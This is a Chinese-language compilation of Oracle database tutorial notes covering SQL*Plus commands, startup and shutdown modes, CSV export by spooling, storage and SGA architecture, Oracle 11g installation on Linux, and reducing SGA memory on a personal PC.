⑤select owner,table_name from dba_tables where OWNER='SCOTT'; (系统用户)
help index:
SQL*Plus所特有的命令,它将显示SQL*Plus所支持的所有命令。
查看命令,以查看SET命令为例:
①? set
②help set
上面任意一个都可以。
在SQL*Plus上大小写是不区分的。只是习惯上将关键字大写。
set sqlblanklines on;
这个命令可以支持在SQL*Plus上输入多个空行。
为了提高Oracle的执行效率,应该使用替代变量的执行方式输入。举个例子:
·1 SELECT * FROM dept WHERE deptno=&tt;
Enter value:10,20
·2 SELECT * FROM dept WHERE deptno=10;
·3 SELECT * FROM dept WHERE deptno=20;
1与2,3不同的方式在于,1只执行一个执行计划,而2和3要执行两个执行计划。如果选择1,自然会有效的提高语句的执行效率。
利用list或者l可以查看在Oracle缓冲区中执行过的命令。
缓冲区中的命令用/表示执行。
如果打错了关键字的话,可以使用c或者change来修改
SQL>SELECT * FRON v$logfile;
SQL>c /N/M
SQL>SELECT * FROM v$logfile;
删除缓冲区的信息。DEL 4就是删除第四行的信息。删除多行的时候,DEL 2 5,则删除了第二行到第五行的信息。
SQL>L;
1* SELECT *
追加:
Append或A
SQL>A FROM dept;
1* SELECT * FROM dept;
将SQL语句保存到磁盘:
sava c:\oracle\test.txt
执行的话:
SQL>@c:\oracle\test.txt
查看内容:
SQL>get c:\oracle\test.txt
在SQL*Plus中可以使用edit命令来进行编辑。在windows中会自动调用记事本工具进行编辑。
DESC (describe)
COL bytes FORMAT 999,999,999
SELECT bytes FROM v$datafile;
SQL*Plus是Oracle允许输入和执行SQL语句以及PL/SQL块的一个交互工具。它能够运行脚本运行,生成一些简单的报表,以格式化方式来输出。在Oracle8i以后,可以利用SQL*Plus来启动和停止数据库。我们可以利用SQL*Plus执行一些数据库定义语言和操作语言的工作。在Oracle中,SQL*Plus是一个利用广泛,非常实用的一个工具。
利用SQL*Plus登录:
sqlplus sys/password as sysdba
如果没有打开实例,则可以以nolog登录:
sqlplus /nolog
然后再连接到数据库的实例:
connect sys/password as sysdba
(以sys用户登录时一定要用sysdba的身份)
接下来可以启动数据库,正常情况下输入以下命令就可以了:
SQL>startup
这个命令包括三个环节:
①首先启动数据库实例
②接着打开控制文件 database mounted
③然后打开数据文件 database opened
但是我们进行热备份的时候,是非归档方式的(可以通过archive log list来查看)。我们要修改在归档方式进行热备份,但是在数据库已经启动的情况下是不允许做修改的。这个时候要将数据库关闭,然后重新启动实例,然后打开控制文件,但是不打开数据文件,所以需要采用如下的命令:
1,SQL>startup mount
此选项表示,在启动数据库实例的时候,同时启动控制文件,但是不启动数据文件。
2,SQL>alter database archivelog;
3,SQL>alter database open;
这样就可以将数据库的非归档方式改为归档方式。
除此以外还有另外的一个命令:
SQL>startup nomount
此命令表示首先启动实例,但是连控制文件都不打开。
此命令的使用场合:就是当控制文件丢失一个或多个的时候,就用这个命令,以便于启动时重新创建控制文件。
关闭Oracle数据库的命令
SQL>shutdown immediate
这个是最常用的Oracle推荐的选项。迫使每个用户执行完当前的SQL语句后立即断开连接。
SQL>shutdown
这个表示正常关闭,等待所有用户断开连接后才真正的把数据库实例关闭掉。如果有空闲用户没有断开连接则会造成长时间无法关闭。
SQL>shutdown transactional
表示迫使用户在当前执行完成后断开连接,中止实例。恢复破坏的文件和数据文件不能同其他的数据库文件保持一致。
SQL>shutdown abort
这是一个比较严厉的手段。强行关闭数据库和实例。可能会造成文件的破坏,不到万不得已和不可抗力的时候不利用此手段。
在对数据库的操作中,尤其是对数据库表的drop,create时,需要将删除前和重建后的数据库表进行差分比较,这个时候往往需要将数据库表导出到csv文件里面。
以下面的test表为例说明如何将一个数据库表导出到CSV文件里面。
首先DESC一下表,看一下表结构是什么样的:
=================================================DESC test
Name Null? Type
------------------------ --------- -------------------
id NUMBER
name VARCHAR2(10)
age NUMBER
birthday DATE
address VARCHAR2(50)
email VARCHAR2(25)
=================================================
然后,将下面的语句保存为SQL文件,进入SQLPlus并执行。
=================================================
set heading off
set verify off
set feed off
set linezise 1024
set pause off
set echo off
set tab off
set timing off
set pagesize 0
set trimspool on
set termout off
spool test.csv
select
''||id||'|'||
''||name||'|'||
''||age||'|'||
''||birthday||'|'||
''||address||'|'||
''||email||'|'||
' '
from test
ordey by id;
spool off
=================================================
操作的时候,在Unix或者Linux系统下一般会将文件保存到当前用户所在的目录。
Oracle数据库的逻辑空间一般有一下的一些概念所组成(按照逻辑范围由大到小):
表空间(tablespace),段(segment),盘区(extent)<有的翻译成扩展或者范围>,块(block)。
一个表空间对应一个或者多个数据文件(datafile)。从数据文件中并不能解读对应的表的信息,这也是数据库一个共同的特点。
一个表空间可以包括多个段,段与数据文件之间并没有映射关系。
Oracle存储数据的最基本的存储单位是块,在Windows平台下,默认的块大小是8K(8192字节),可以在安装全局数据库之前设置块的大小,但是oracle的块大小一定是操作系统块大小的整数倍。
Oracle中,若干个块组成一个盘区,若干个盘区组成一个段,若干个段组成一个表空间,我们真正指定表存储的时候,只能指定这个表存储在哪个表空间。
这就是Oracle的一个整体布局。
当一个Oracle实例开始运行的时候,会分配一个称为SGA(系统全局区)的大的内存块(如下所示数据库启动时显示的数据信息)。
=========================================
ORACLE instance started.
Total System Global Area 167772160 bytes
Fixed Size 1218316 bytes
Variable Size 83888372 bytes
Database Buffers 79691776 bytes
Redo Buffers 2973696 bytes
Database mounted.
Database opened.
=========================================
系统的SGA被该实例的所有后台进程共享。在SGA中,包括以下的几个缓存池。
①数据库高速缓冲区DBbuffer②大共享区③共享池④日志缓冲池Redo buffer⑤固定SGA
数据库高速缓冲区:
如果每次执行一个SQL查询的时候,Oracle都必须从磁盘读取数据块,并且每个改变都需要写入磁盘的话,那么Oracle的执行效率将非常的低。而DBbuffer经常能够使用内存中的数据块,在那里就能很快的得到访问。内存中用来频繁访问的区域就被称之为数据库高速缓冲区。
数据库高速缓冲区是SGA的区域里面最大的部分,包括以下的三个缓存池:
①保持缓存池:想在内存中长期保存和频繁访问(如代码表)而使用的缓存池。此缓冲池在关闭数据库之前一直保留,并不从内存中释放空间。
②再生缓存池:想尽快从内存中排除的对象使用此缓存池。(如频繁访问的大表)
③默认缓存池:除以上两种情况外的选择。
共享池也是Oracle当中一个非常重要的缓存区域,主要由库缓冲区和字典缓冲区所构成。用来缓存PL/SQL的程序单元,SQL语句的执行版本和相关的执行计划。共享池规模对数据库的性能有着重要的影响。
在库缓冲区又包括共享SQL区和PL/SQL区。在SQL区中保留了SQL语句的解释版本,以便再次使用的时候不必重新解释,目的是使这些语句再次执行的时候,能够提高进程的速度。PL/SQl区保留了PL/SQL的过程,函数等编译版本,以便于所有的用户能够共享。当程序执行一个PL/SQL的执行单元的时候,当有两个或者两个以上用户需要执行相同的过程,函数或者触发器等相关内容的时候,Oracle并不缓存两个或者两个以上的内存区域。Oracle的处理是,把相同的代码做一个拷贝,被不同的用户所缓存。
字典缓存区是用来缓存数据字典信息的一个区域。当分析SQL语句来校验表名,列名,数据类型等信息的时候,Oracle将频繁的提到数据字典。通过把对最频繁使用的信息存储到内存中,Oracle减少了相关SQL语句所引起的相关性能上的冲突。
Redo日志缓冲池是用来放置写入磁盘的Redo日志记录。循环方式,先进先出。
大共享区是Oracle的一个可选的特征。它提供了大内存块的隔离内存区。如果选择多线程的服务器,或者进行备份和相关的RMN等相关操作的时候,需要这个区域。
固定SGA区不能人为设定大小,是Oracle数据库自己控制的。
Oracle的文件系统主要分成以下的三大块:
控制文件(.CTL),数据文件(.DBF),日志文件(.LOG)
这三种文件系统一般在以下路径可以找到:
/u01/app/oracle/oradata/oracleSID
除此三种文件还有一种参数文件,参数文件不是数据库系统中的有效组成部分,在启动数据库时,参数文件不直接参与工作,只是控制文件是由参数文件寻找的。
参数文件位置:
/u01/app/oracle/product/10.2.0/db_1/dbs/spfileoracleSID.ora
控制文件的内容会显示在参数文件中。参数文件的作用起到寻找控制文件的作用。
Oracle中有两种日志文件,一种为联机日志文件(重做日志文件),一种为归档日志文件。
REDO01.DBF和REDO02.DBF,REDO03.DBF是典型的联机日志文件,特点是顺序写文件,写满后写下一个,写满第三个循环写第一个,并且覆盖掉不做备份。
归档日志文件,在热备份的时候要选择的一种归档方式。
由控制文件控制数据文件和日志文件。数据库启动时启动对应实例后,首先启动控制文件,在由控制文件打开数据文件。例如在Linux启动数据库时可以看到的动作现象是:数据库装载:Database Mounted,然后打开数据库:Database Opened。其实就是先打开控制文件,在打开数据文件的过程。
用Sqlplus直观的可以看见:
以Oracle用户登录Sqlplus:
① sqlplus /nolog
② conn / as sysdba
如果是首次从Linux界面登录,需要启动Oracle数据库应用。
① sqlplus / as sysdba
② startup
查看控制文件
DESC v$controlfile
查看控制文件的状态和名称(显示路径)
SELECT status,name FROM v$controlfile;
查看数据文件
DESC v$datafile
比如查看数据文件的文件号和状态
SELECT file#,status FROM v$datafile;
看日志文件
DESC v$logfile
查看日志文件路径信息
SELECT member FROM v$logfile;
注:此安装过程同样适用于Oracle10g在Linux32上的安装。略有改动地方已注明。
1 视频下载地址 2 视频在线观看地址
<作者:遥远>
到 otn.oracle.com 网站上下载 oracle 11g
将上一次中已经安装好的虚拟机拷贝到一个新的目录,启动新的虚拟机。
编辑 /etc/sysctl.conf
kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000
net.core.rmem_default = 4194304
net.core.rmem_max = 4194304
net.core.wmem_default = 262144
net.core.wmem_max = 262144
生效 /sbin/sysctl -p
编辑 /etc/security/limits.conf
oracle soft nproc 2047
oracle hard nproc 16384
oracle soft nofile 1024
oracle hard nofile 65536
编辑 /etc/pam.d/login
session required /lib/security/pam_limits.so
session required pam_limits.so
编辑 /etc/profile
if [ $USER = "oracle" ]; then
if [ $SHELL = "/bin/ksh" ]; then
ulimit -p 16384
ulimit -n 65536
else
ulimit -u 16384 -n 65536
fi
fi
创建相关的用户和组:
/usr/sbin/groupadd oinstall
/usr/sbin/groupadd dba
/usr/sbin/useradd -g oinstall -G dba oracle
passwd oracle
创建目录:
mkdir -p /u01/app/
chown -R oracle:oinstall /u01/app/
chmod -R 775 /u01/app/
从windows网络邻居中mount oracle 11g的安装软件到linux
mount //192.168.2.1/oracle11g /mnt
切换成ORACLE用户 修改/home/oracle/.bash_profile,加入:
umask 022
ORACLE_BASE=/u01/app/oracle
ORACLE_SID=gaoyu
ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_1
PATH=$PATH:$ORACLE_HOME/bin
export ORACLE_BASE ORACLE_SID ORACLE_HOME
export LC_CTYPE=en_US.UTF-8(如果是安装oracle10g的情况需要添加这行语句,防止安装画面汉语集字符出现“口”字,oracle11g不需要)
然后执行如下命令使之生效:
source .bash_profile
运行runInstaller 运行安装。
在安装过程中,会提示缺少下面的包,从Centos的安装盘中安装:
rpm -ivh libaio-0.3.105-2.i386.rpm
rpm -ivh libaio-devel-0.3.105-2.i386.rpm
rpm -ivh elfutils-libelf-devel-0.97.1-4.i386.rpm
rpm -ivh unixODBC-devel-2.2.11-1.RHEL4.1.i386.rpm
rpm -ivh unixODBC-2.2.11-1.RHEL4.1.i386.rpm
rpm -ivh sysstat-5.0.5-14.rhel4.i386.rpm
运行netca创建listener,选一路选默认即可
用dbca创建数据库,注意密码的大小写,选sample schema,字符集要选unicode。
有时候我们为了学习Oracle而需要在自己的PC上安装Oracle数据库软件。而众所周知,Oracle是一个吃内存的大户,默认安装后,内存占用量很大,那么,对于个人学习Oracle来说,有没有节约内存的办法呢。当然有了,那就是,可以设置SGA(系统全局区)来节省内存。具体方法和步骤,可以参看一下内容。
首先,查看一下SGA的配置情况,在C:\oracle\product\10.2.0\db_1\dbs(具体文件位置视个人具体安装而定)下面的SPFILEoracleID.ORA。
这个文件下面有如下默认的两行,这就是我们想要修改的参数。但是,注意不要直接修改这个文件,因为这个是二进制的文件,用记事本等手段修改后会导致Oracle启动不起来的问题,如果不小心修改了的朋友请参考这个帖子可以改回来。
*.sga_target=287309824(274M)
*.pga_aggregate_target=95420416(91M)
--(括号内是标注的多少M,实际文件中只标写了字符数)
如果是个人PC的话,可以将*.sga_target=160M,*.pga_aggregate_target=24M。这样可以省下来181M的内存大小。
下面我们来看具体如何修改这两个参数的大小。
进入SQL*Plus工具,或者CMD连接SQL*Plus工具都可以,以DBA身份登录。然后:
1,show parameter spfile;
此命令来查看spfile的参数(包括名称,类型和值)
2,alter system set sga_target=160M scope=both;
3,alter system set pga_aggregate_target=24M scope=both;
注意,scope范围要设置,否则默认情况下是当前应用,数据库从新启动后设置不保存而消失。
另外,如果作为测试服务器,可以停掉一下两个服务:
1,OracleDBConsoleoracleID
2,OracleOraDb10g_home1iSQL*Plus
注:1停掉后通过IE就无法访问数据库配置了
至此,Oracle的SGA就简单从新分配一下,帮你节约了不少内存吧。其实,从新分配的这么多内存对于一个测试服务器来说,也已经完全够用了。